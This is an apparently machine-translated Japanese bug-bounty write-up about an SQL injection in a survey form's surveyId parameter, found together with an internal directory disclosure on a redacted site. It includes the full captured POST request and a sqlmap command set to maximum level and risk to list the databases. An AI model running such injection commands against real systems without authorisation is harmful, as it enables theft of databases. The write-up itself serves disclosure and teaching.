Hello there, ('ω')ノ
A03:2021 — 内部ディレクトリ開示による SQL インジェクションを。
脆弱性:
情報漏えい
記事:
今回は、ディレクトリを変更して、サイトの 1 つで sqli を見つけ。
さらに、内部 Web ディレクトリの場所を公開するディレクトリの構成ミスを発見し。
常に応答から興味深いパラメータを見つけたので。
常に応答を探し続ける必要があることを覚えておくように。
テクニカルレビュー:
ターゲットを redacted.com として。
ある調査結果を送信した後、別の URL にリダイレクトされ。
その URL の末尾に一意の番号が付けられ。
その URL を操作しようとしたところ、設定ミスのエラーが表示されたので。
もう一度そのアンケート フォームに戻ってそこで遊んでみて。
よく見ると、リダイレクトされた URL で取得したのと同じ番号の応答に。
反映されるパラメータが見つかって。
それに飛びつく前に、いつも電子メールパラメータを再生するのが好きで。
なぜなら、そのパラメーターは常にジューシーだからで。
ディレクトリ検索でターゲットを絞り込み、新しい URL を見つけて。
それが重要な発見であり、これがシナリオであり、悪用の部分にジャンプして。
まず、訪問中に HTTP リクエストをキャプチャして。
https://assessment.redacted.com/welcome/survey_result
ここでは、メール フィールドに 2 つのメール ID を追加して。
何か新しいものを識別し、更新されたリダイレクト URL で新しいものを見つけて。
以下はリクエストの全文で。
POST /welcome/survey_result HTTP/1.1
Host: assessment.redacted.com
Cookie: _ga=BOOM; _gid=BOOM; _ga=BOOM; _gid=BOOM; ln_or=d; ci_session=BOOM
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary= — — — — — — — — — — — — — -5213360898382474
Content-Length: 1588
Origin: https://assessment.redacted.com
Referer: https://assessment.redacted.com/people-excellence/assessment
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”surveyId”
46
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest1"
0.5
— — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest2"
0
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest3"
1
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest4"
0
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest5"
0.5
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest6"
1
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest7"
0
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest8"
1
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”bcpTest9"
0.5
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”company-name”
Ba2man
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”username”
Ba1man
— — — — — — — — — — — — — — -52133608983824741126631511
Content-Disposition: form-data; name=”email”
ba1man+1@gmail.com&ba1man@gmail.com
— — — — — — — — — — — — — — -52133608983824741126631511 —
上記のリクエストを送信した後、サーバは次の URL を含むレスポンスを返して。
https://assessment.redacted.com/people-excellence/result-721.php
その後、721 を 720 に変更したところ、サーバ エラーが発生して。
GUIだけを確認するためにブラウザで以下の調査フォームのリンクを。
開くことにした後、再びエラーが発生して。
https://assessment.redacted.com.com/welcome/survey_result
アプリケーションを理解した後、「surveyId」で遊んで。
再度ディレクトリ検索を行ったところ、下記の新しい URL が見つかり。
さらに、手動での作業に非常に疲れていたので、脆弱なパラメータを知った後。
残りの作業を行うために sqlmap を実行して。
元の要求を sql_submit.txt ファイルに保存し、-p を使用して。
特定のパラメータを指定し。
これにより、sqlmap はそのパラメータのテストのみを行い、時間を節約でき。
以下は、sqlmap 用に作成した最終的なコマンドで。
sqlmap -r sql_submit.txt -p surveyId — level=5 — risk=3 — batch — dbs — time-sec=10
セキュリティアーキテクチャとして働いていたので。
1つの小さなバグが会社全体の機密データを悪用する可能性があることを知っていて。
Best regards, (^^ゞ